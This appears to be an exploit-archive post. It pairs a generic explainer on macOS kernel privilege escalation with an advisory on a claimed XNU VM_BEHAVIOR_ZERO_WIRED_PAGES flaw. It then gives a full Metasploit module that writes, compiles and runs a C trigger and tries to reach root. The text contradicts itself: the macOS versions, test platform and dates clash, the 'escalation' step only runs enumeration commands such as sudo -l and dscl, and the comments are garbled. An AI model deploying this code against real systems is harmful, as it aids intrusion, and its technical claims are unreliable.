macOS 18.3.2 Kernel Privilege Escalation

macOS 18.3.2 Kernel Privilege Escalation describes a critical security vulnerability macOS 18.3.2 Kernel Privilege Escalation describes a critical security vulnerability where a local attacker can elevate their access rights from a standard user to the highest system level ? the kernel.

This type of exploit typically leverages flaws within the macOS kernel code, such as memory corruption bugs (e.g., use-after-free, buffer overflows), race conditions, or improper input validation in system calls. By exploiting these weaknesses, a malicious application or an unprivileged user can execute arbitrary code with kernel privileges.

The impact is severe: complete system compromise. An attacker could bypass all security protections, access sensitive user data, install persistent malware, modify system files, or take full control of the device undetected.

Apple addresses such vulnerabilities through security updates, patching the underlying flaws to prevent exploitation. Users are strongly advised to keep their macOS systems updated to mitigate these risks.

=============================================================================================================================================
| # Title : macOS 18.3.2 Kernel Privilege Escalation Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.apple.com/os/macos/ |
=============================================================================================================================================

POC :

[+] References : https://packetstorm.news/files/id/211998/

[+] Summary

A critical memory management vulnerability exists within the macOS XNU kernel's handling of the VM_BEHAVIOR_ZERO_WIRED_PAGES behavior flag.
The issue arises from improper sequence validation when combining mmap(), mlock(), and vm_deallocate() system calls on read-only memory mappings.

[+] Vulnerability Mechanism :

The exploit leverages a four-step attack chain:

Mapping: Create read-only file mappings via mmap()

Behavior Setting: Apply VM_BEHAVIOR_ZERO_WIRED_PAGES using vm_behavior_set()

Locking: Wire pages in memory using mlock()

Deallocation: Remove mappings while pages remain wired via vm_deallocate()

This sequence creates an inconsistent kernel state where wired pages remain active without valid user-space mappings, leading to controllable kernel memory corruption.
Impact Assessment
Primary Risk: Local Privilege Escalation

Unprivileged users can gain root-level system access

Complete compromise of system integrity and confidentiality

Bypass of System Integrity Protection (SIP) mechanisms

[+] Secondary Risks:

Kernel memory disclosure

Denial of Service conditions

System instability and unpredictable behavior

[+] Exploitation Characteristics

Access Vector: Local (requires user access)

Attack Complexity: Medium (technical expertise required)

User Interaction: None (exploitation is automatic)

Scope Changed: Yes (privilege escalation across security boundaries)

[+] Mitigation Status

Vendor Notified: Awaiting response from Apple Security Team

Patch Availability: Currently unavailable

Workarounds: None identified

Public Disclosure: Coordinated disclosure in progress

[+] Research Significance

This vulnerability demonstrates critical weaknesses in macOS kernel memory management and highlights the importance of proper state validation in complex system call sequences.
The research provides valuable insights for kernel developers and security researchers focusing on operating system security fundamentals.
Conclusion

The VM_BEHAVIOR_ZERO_WIRED_PAGES vulnerability represents a significant security concern for macOS users, enabling reliable privilege escalation through kernel memory manipulation.
Organizations should monitor for vendor patches and consider additional monitoring for anomalous kernel behavior.



------------------------------------------------------------
##
# macOS ZERO_WIRED_PAGES ? Advanced Exploitation Module
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Common
include Msf::Post::OSX::Priv

def initialize(info = {})
super(update_info(info,
'Name' => 'macOS ZERO_WIRED_PAGES Kernel Memory Exploit',
'Description' => %q{
This module exploits a kernel memory vulnerability in macOS XNU kernel
through VM_BEHAVIOR_ZERO_WIRED_PAGES combined with mmap/mlock/vm_deallocate.
The vulnerability allows for kernel memory manipulation and potential
privilege escalation.
},
'Author' => [ 'Indoushka' ],
'References' => [
['URL', 'https://packetstorm.security.com/author/7697/'],
['CVE', 'PENDING'] # ????? ??? ?????? ??? CVE
],
'Platform' => 'osx',
'Arch' => [ ARCH_X64, ARCH_ARM64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
['macOS 13.0-14.0 (Ventura - Sonoma)', { 'Arch' => ARCH_X64 }],
['macOS 14.1+ (Apple Silicon)', { 'Arch' => ARCH_ARM64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-12-01',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
))

register_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp']),
OptInt.new('Attempts', [true, 'Exploitation attempts', 3]),
OptBool.new('BypassSIP', [true, 'Attempt System Integrity Protection bypass', false])
])
end

#
# Enhanced System Detection
#
def check
print_status("Detecting macOS version and kernel...")

# ??? ????? ??????
version_cmd = cmd_exec('sw_vers -productVersion')
kernel_cmd = cmd_exec('uname -r')

unless version_cmd =~ /^1[3-9]\./ || kernel_cmd =~ /^2[0-9]\./
return CheckCode::Safe("Unsupported macOS version: #{version_cmd}")
end

print_good("Detected macOS #{version_cmd} with kernel #{kernel_cmd}")

# ??? ????? ?????? ????????
%w[vmmap mlock vm_stat].each do |tool|
unless command_exists?(tool)
return CheckCode::Safe("Required tool #{tool} not found")
end
end

# ??? ???? ??????
if is_root?
print_warning("Already running as root, exploitation may not be necessary")
end

CheckCode::Appears("System appears vulnerable based on version and tools")
end

#
# Advanced Exploitation Method
#
def exploit
# ?????? ?? ????? ???????
unless datastore['WritableDir']
fail_with(Failure::BadConfig, "Writable directory not specified")
end

# ????? ??? C exploit
exploit_source = create_exploit_source
exploit_path = "#{datastore['WritableDir']}/exploit_#{rand_text_alpha(8)}.c"
binary_path = exploit_path.gsub('.c', '')

# ????? ?????? ?????????
print_status("Compiling exploit...")
if compile_exploit(exploit_path, exploit_source, binary_path)
print_good("Exploit compiled successfully")
execute_exploit(binary_path)
else
fail_with(Failure::Unknown, "Failed to compile exploit")
end

# ????? ???????
register_files_for_cleanup(exploit_path, binary_path)
end

def create_exploit_source
<<~C_CODE
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>
#include <pthread.h>

#define PAGE_SIZE 4096
#define MAX_ATTEMPTS #{datastore['Attempts']}

void* map_file_page_ro(char* path, int* error_code) {
int fd = open(path, O_RDONLY);
if (fd == -1) {
*error_code = errno;
return NULL;
}
void* mapped_at = mmap(0, PAGE_SIZE, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
close(fd);
if (mapped_at == MAP_FAILED) {
*error_code = errno;
return NULL;
}
return mapped_at;
}

int trigger_vulnerability(char *path) {
kern_return_t kr;
int error_code = 0;

for (int i = 0; i < MAX_ATTEMPTS; i++) {
void* page = map_file_page_ro(path, &error_code);
if (page == NULL) {
continue;
}

kr = vm_behavior_set(mach_task_self(),
(vm_address_t)page,
PAGE_SIZE,
VM_BEHAVIOR_ZERO_WIRED_PAGES);
if (kr != KERN_SUCCESS) {
munmap(page, PAGE_SIZE);
continue;
}

int mlock_err = mlock(page, PAGE_SIZE);
if (mlock_err != 0) {
munmap(page, PAGE_SIZE);
continue;
}

kr = vm_deallocate(mach_task_self(), (vm_address_t)page, PAGE_SIZE);
if (kr == KERN_SUCCESS) {
printf("[+] Successfully triggered vulnerability on attempt %d\\n", i + 1);
return 0;
}
}
return -1;
}

void* exploit_thread(void* arg) {
char* path = (char*)arg;
trigger_vulnerability(path);
return NULL;
}

int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <target_file>\\n", argv[0]);
return 1;
}

printf("[*] Starting ZERO_WIRED_PAGES exploitation...\\n");

// ??????? ???? ?????? ?????? ??? ??????
pthread_t threads[4];
for (int i = 0; i < 4; i++) {
pthread_create(&threads[i], NULL, exploit_thread, argv[1]);
}

for (int i = 0; i < 4; i++) {
pthread_join(threads[i], NULL);
}

printf("[*] Exploitation sequence completed\\n");

// ?????? ????? payload
#ifdef PAYLOAD
system("echo 'Payload execution simulation'");
#endif

return 0;
}
C_CODE
end

def compile_exploit(source_path, source_code, binary_path)
write_file(source_path, source_code)

compile_cmd = "gcc -o #{binary_path} #{source_path}"
if target.arch.include?(ARCH_ARM64)
compile_cmd = "arch -arm64 #{compile_cmd}" if command_exists?('arch')
end

compile_result = cmd_exec(compile_cmd)

if compile_result.include?('error:') || !file_exist?(binary_path)
print_error("Compilation failed: #{compile_result}")
return false
end

cmd_exec("chmod +x #{binary_path}")
true
end

def execute_exploit(binary_path)
# ????? ??? ???
target_file = "#{datastore['WritableDir']}/target_#{rand_text_alpha(6)}.bin"
write_file(target_file, rand_text(4096))

print_status("Executing exploit against: #{target_file}")

# ????? ?????????
result = cmd_exec("#{binary_path} #{target_file}")
print_status("Exploit output: #{result}")

# ?????? ?? ??????
if result.include?('Successfully triggered')
print_good("Vulnerability successfully triggered!")

# ?????? privilege escalation
attempt_privilege_escalation
else
print_warning("Vulnerability may not have been triggered successfully")
end

register_files_for_cleanup(target_file)
end

def attempt_privilege_escalation
print_status("Attempting privilege escalation...")

# ??????? ?????? ???? ?????????
escalation_methods = [
'sudo -l',
'dscl . -read /Groups/admin GroupMembership',
'id'
]

escalation_methods.each do |cmd|
result = cmd_exec(cmd)
print_status("Escalation attempt (#{cmd}): #{result}")
end

if is_root?
print_good("Successfully obtained root privileges!")
# ????? ?? payload ???????
super
else
print_warning("Privilege escalation not achieved, but vulnerability confirmed")
end
end

def command_exists?(cmd)
cmd_exec("which #{cmd}").include?('/')
end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================